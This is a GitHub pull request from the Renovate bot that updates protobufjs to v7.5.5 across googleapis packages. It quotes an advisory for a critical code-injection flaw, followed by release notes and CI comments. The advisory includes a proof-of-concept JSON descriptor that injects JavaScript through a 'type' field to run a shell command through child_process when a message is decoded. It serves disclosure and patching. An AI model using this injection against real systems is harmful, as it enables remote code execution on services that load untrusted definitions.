Skip to content

fix(deps): update dependency protobufjs to v7.5.5 [security]#8071

Open
renovate-bot wants to merge 1 commit intogoogleapis:mainfrom
renovate-bot:renovate/npm-protobufjs-vulnerability
Open

fix(deps): update dependency protobufjs to v7.5.5 [security]#8071
renovate-bot wants to merge 1 commit intogoogleapis:mainfrom
renovate-bot:renovate/npm-protobufjs-vulnerability

Conversation

@renovate-bot
Copy link
Copy Markdown
Contributor

@renovate-bot renovate-bot commented Apr 17, 2026

This PR contains the following updates:

Package Change Age Confidence
protobufjs (source) ~7.4.0~7.5.5 age confidence
protobufjs (source) 7.2.4 - 7.5.07.5.5 7.5.5 age confidence

Arbitrary code execution in protobufjs

CVE-2026-41242 / GHSA-xq3m-2v4x-88gg

More information

Details

Summary

protobufjs compiles protobuf definitions into JS functions. Attackers can manipulate these definitions to execute arbitrary JS code.

Details

Attackers can inject arbitrary code in the "type" fields of protobuf definitions, which will then execute during object decoding using that definition.

PoC
const protobuf = require('protobufjs');
maliciousDescriptor = JSON.parse(`{"nested":{"User":{"fields":{"id":{"type":"int32","id":1},"data":{"type":"Data(){console.log(process.mainModule.require('child_process').execSync('id').toString())};\\nfunction X","id":2}}},"Data(){console.log(process.mainModule.require('child_process').execSync('id').toString())};\\nfunction X":{"fields":{"content":{"type":"string","id":1}}}}}`)
const root = protobuf.Root.fromJSON(maliciousDescriptor);
const UserType = root.lookupType("User");
const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);
try {
    const user = UserType.decode(userBytes);
} catch (e) {}
Impact

Remote code execution when attackers can control the protobuf definition files.

Severity

  • CVSS Score: 9.4 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

protobufjs/protobuf.js (protobufjs)

v7.5.5: v7.5.5

Compare Source

v7.5.5

This release backports two reported security issues to 7.x branch.

  • fix: do not allow setting __proto__ in Message constructor (#​2126)
  • fix: filter invalid characters from the type name (#​2127)

Full Changelog: protobufjs/protobuf.js@protobufjs-v7.5.4...protobufjs-v7.5.5

v7.5.4

Compare Source

Bug Fixes

v7.5.3

Compare Source

Bug Fixes

v7.5.2

Compare Source

Bug Fixes

v7.5.1

Compare Source

Bug Fixes

v7.5.0

Compare Source

Features
  • add Edition 2023 Support (f04ded3)
  • add Edition 2023 Support (ac9a3b9)
  • add Edition 2023 Support (e5ca5c8)
  • add Edition 2023 Support (a84409b)
  • add Edition 2023 Support (9c5a178)
  • add Edition 2023 Support (b2c6867)
  • add Edition 2023 Support (60f3e51)
  • add Edition 2023 Support (a656361)
  • add Edition 2023 Support (869a95b)
  • add Edition 2023 Support (b936af4)
  • add Edition 2023 Support (a938467)
  • add Edition 2023 Support (1af8454)
  • add Edition 2023 Support (785416f)
  • add feature resolution (a9ffc8a)
  • add feature resolution and tests (68b5339)
  • add feature resolution for protobuf editions (547afa2)
  • add feature resolution for protobuf editions (65d3ed1)
  • api_converters_editions tests added and run successfully" (b4b5ca4)
  • increase size of file that protobufjs CLI can process (00d5f1a)
  • increase size of file that protobufjs CLI can process (d36ef0f)
Bug Fixes
  • change tree traversal order and feature resolution algorithm (d2d47d9)
  • remove eval usage so that chrome extension MV3 can run properly (#​1941) (f2ccb99)

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate-bot renovate-bot requested review from a team as code owners April 17, 2026 04:22
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 17, 2026

/gcbrun

Copy link
Copy Markdown
Contributor

@gemini-code-assist gemini-code-assist Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request updates the protobufjs dependency to version 7.5.5 across multiple packages to address a security vulnerability. Feedback includes correcting an invalid semver range in handwritten/bigquery-storage/package.json, addressing a remaining nested vulnerable version of protobufjs in the package-lock.json, and investigating a suspicious version update for @types/node in the yarn.lock file.

Comment thread handwritten/bigquery-storage/package.json
Comment thread core/generator/gapic-generator-typescript/package-lock.json
Comment thread core/generator/gapic-generator-typescript/yarn.lock Outdated
@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 954a9f9 to 7488e27 Compare April 17, 2026 06:10
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 17, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 7488e27 to 1efed92 Compare April 17, 2026 06:23
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 17, 2026

/gcbrun

danieljbruce
danieljbruce previously approved these changes Apr 17, 2026
@danieljbruce danieljbruce added the kokoro:force-run Add this label to force Kokoro to re-run the tests. label Apr 17, 2026
@yoshi-kokoro yoshi-kokoro removed the kokoro:force-run Add this label to force Kokoro to re-run the tests. label Apr 17, 2026
@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 1efed92 to 46bb50d Compare April 17, 2026 17:23
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 17, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 46bb50d to c135694 Compare April 17, 2026 20:47
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 17, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from c135694 to 9dca9b2 Compare April 19, 2026 10:24
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 19, 2026

/gcbrun

@boris-szl
Copy link
Copy Markdown

boris-szl commented Apr 19, 2026

any updates on this? our code sec agent is screaming for this vuln, asap release would be appreciated

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 9dca9b2 to 1bc5f9f Compare April 19, 2026 17:27
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 19, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 1bc5f9f to baa5e57 Compare April 20, 2026 19:18
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 20, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from baa5e57 to 8f69140 Compare April 20, 2026 19:50
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 20, 2026

/gcbrun

@danieljbruce
Copy link
Copy Markdown
Contributor

danieljbruce commented Apr 20, 2026

any updates on this? our code sec agent is screaming for this vuln, asap release would be appreciated

It's a bit tricky because the protobufjs dependency was actually pinned to avoid breaking ProtoDescriptors.

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 8f69140 to fc749c2 Compare April 20, 2026 21:06
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 20, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from fc749c2 to b70760b Compare April 20, 2026 22:03
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 20, 2026

/gcbrun

@boris-szl
Copy link
Copy Markdown

any updates on this? our code sec agent is screaming for this vuln, asap release would be appreciated

It's a bit tricky because the protobufjs dependency was actually pinned to avoid breaking ProtoDescriptors.

I see. Thanks for clarification. Good luck and best efforts fixing this!

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from cbe13ca to 7fb767f Compare April 22, 2026 19:35
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 22, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 7fb767f to 5edca7d Compare April 22, 2026 21:17
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 22, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 5edca7d to a1e6628 Compare April 23, 2026 13:39
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 23, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from a1e6628 to 5de5b93 Compare April 23, 2026 15:48
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 23, 2026

/gcbrun

2 similar comments
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 23, 2026

/gcbrun

@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 23, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 2aea76e to 5786e44 Compare April 23, 2026 23:30
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 23, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 5786e44 to b1cd38e Compare April 24, 2026 03:03
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 24, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from b1cd38e to 3a61454 Compare April 24, 2026 05:56
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 24, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 3a61454 to 4f5198d Compare April 24, 2026 17:27
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 24, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 4f5198d to d20325a Compare April 24, 2026 17:46
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 24, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from d20325a to 17519e8 Compare April 24, 2026 18:49
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 24, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 17519e8 to 1222259 Compare April 24, 2026 20:23
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 24, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 1222259 to 2768f9d Compare April 24, 2026 20:39
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 24, 2026

/gcbrun

@renovate-bot renovate-bot force-pushed the renovate/npm-protobufjs-vulnerability branch from 2768f9d to 0596d35 Compare April 24, 2026 21:11
@dpebot
Copy link
Copy Markdown
Collaborator

dpebot commented Apr 24, 2026

/gcbrun

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants